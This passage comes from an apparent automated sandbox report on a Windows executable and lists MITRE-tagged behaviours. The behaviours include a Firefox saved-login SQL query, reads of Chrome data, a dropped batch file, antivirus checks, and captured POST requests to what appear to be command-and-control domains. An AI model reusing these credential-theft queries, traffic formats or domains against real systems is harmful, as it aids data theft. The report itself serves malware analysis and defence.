libraries","description":"LoadLibraryA@KERNEL32.DLL at 00000000-00002904-10198-2-0040F99A\n LoadLibraryA@KERNEL32.DLL at 00000000-00002904-10198-93-0040229A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUserA\" (Indicator: \"LogonUser\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"LoadUserProfileA\" (Indicator: \"LoadUserProfile\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"LoadUserProfileA\" (Indicator: \"LoadUserProfile\"; Source: \"00000000-00001064.00000000.122405.006E0000.00000004.mdmp\")\n Found reference to API \"LogonUserA\" (Indicator: \"LogonUser\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"LoadUserProfileA\" (Indicator: \"LoadUserProfile\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"bounty-54562402545397328.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:ffffffffc0000135]\n \"bounty-54562402545397328.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:ffffffffc0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \"myspace1\" (Indicator: \"myspace\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"POST %s HTTP/1.0Host: %sAccept: */*Accept-Encoding: identity, *;q=0Content-Length: %luConnection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\" (Indicator: \"mozilla/4.0 (\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found string \"POST %s HTTP/1.0Host: %sAccept: */*Accept-Encoding: identity, *;q=0Content-Length: %luConnection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\" (Indicator: \"user-agent: \"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins\" (Source: 10198-300-00408E6A, Indicator: \"select hostname, encryptedusername, encryptedpassword from moz_logins\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"bounty-54562402545397328.exe\" touched \"Microsoft Url History Service\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\")\n \"bounty-54562402545397328.exe\" touched \"Computer\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\SHELLFOLDER\")\n \"bounty-54562402545397328.exe\" touched \"Memory Mapped Cache Mgr\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\")\n \"bounty-54562402545397328.exe\" touched \"UsersFiles\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\SHELLFOLDER\")\n \"bounty-54562402545397328.exe\" touched \"Property System Both Class Factory\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\")\n \"bounty-54562402545397328.exe\" touched \"delegate folder that appears in Users Files Folder\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\\SHELLFOLDER\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"\\Comodo\" (Indicator: \"comodo\") in Source: 10198-357-0040BF0D","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"bounty-54562402545397328.exe\" (UID: 00000000-00002904) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"bounty-54562402545397328.exe\" (UID: 00000000-00002904) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"1callalert.com\"\n \"choiceonesupport.org\"\n \"criminallawdc.com\"\n \"e3pos.com\"\n \"semtly.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00002904-00000C28-927518237]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh HTTP/1.0\nHost: criminallawdc.com\nAccept: */*\nAccept-Encoding: identity, *;q=0\nContent-Length: 196\nConnection: close\nContent-Type: application/octet-stream\nContent-Encoding: binary\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"bounty-54562402545397328.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\abcd.bat\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"bounty-54562402545397328.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.DLL at 00000000-00002904-10198-86-0040FDEC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"bounty-54562402545397328.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"abcd.bat\" has type \"ASCII text with CRLF CR line terminators\"- Location: [%TEMP%\\abcd.bat]- [targetUID: 00000000-00002904]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"bounty-54562402545397328.exe\" reads file \"c:\\bounty-54562402545397328.exe\"\n \"bounty-54562402545397328.exe\" reads file \"c:\\windows\\win.ini\"\n \"bounty-54562402545397328.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\web data\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"bounty-54562402545397328.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\abcd.bat\"\n \"bounty-54562402545397328.exe\" writes file \"%temp%\\abcd.bat\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /default.php?517MTyKXbA4pZuueQ1ay6Dgl2uEjau8yNh\"\n Found http requests in header \"POST /default.php?iqsvP4dhnVk82neqFum1nvJU43HB8D6\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000000.122470.006D0000.00000004.mdmp, 00000000-00002904.00000001.124395.006D0000.00000004.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.006D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000000.122470.006D0000.00000004.mdmp, 00000000-00002904.00000001.124395.006D0000.00000004.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.006D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$37","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$38","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"POST %s HTTP/1.0Host: %sAccept: */*Accept-Encoding: identity, *;q=0Content-Length: %luConnection: closeContent-Type: application/octet-streamContent-Encoding: binaryUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\" (Indicator: \"HTTP/1.0\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found string \"POST %s HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found string \"fault.php?SltKWD44EdkECNMISztnGyO3arr5mRG6rjiVzFkw1V HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00002904.00000001.124395.006D0000.00000004.mdmp, 00000000-00002904.00000002.126319.006D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"^O\"l)fCV8%#j2\", \"/?aY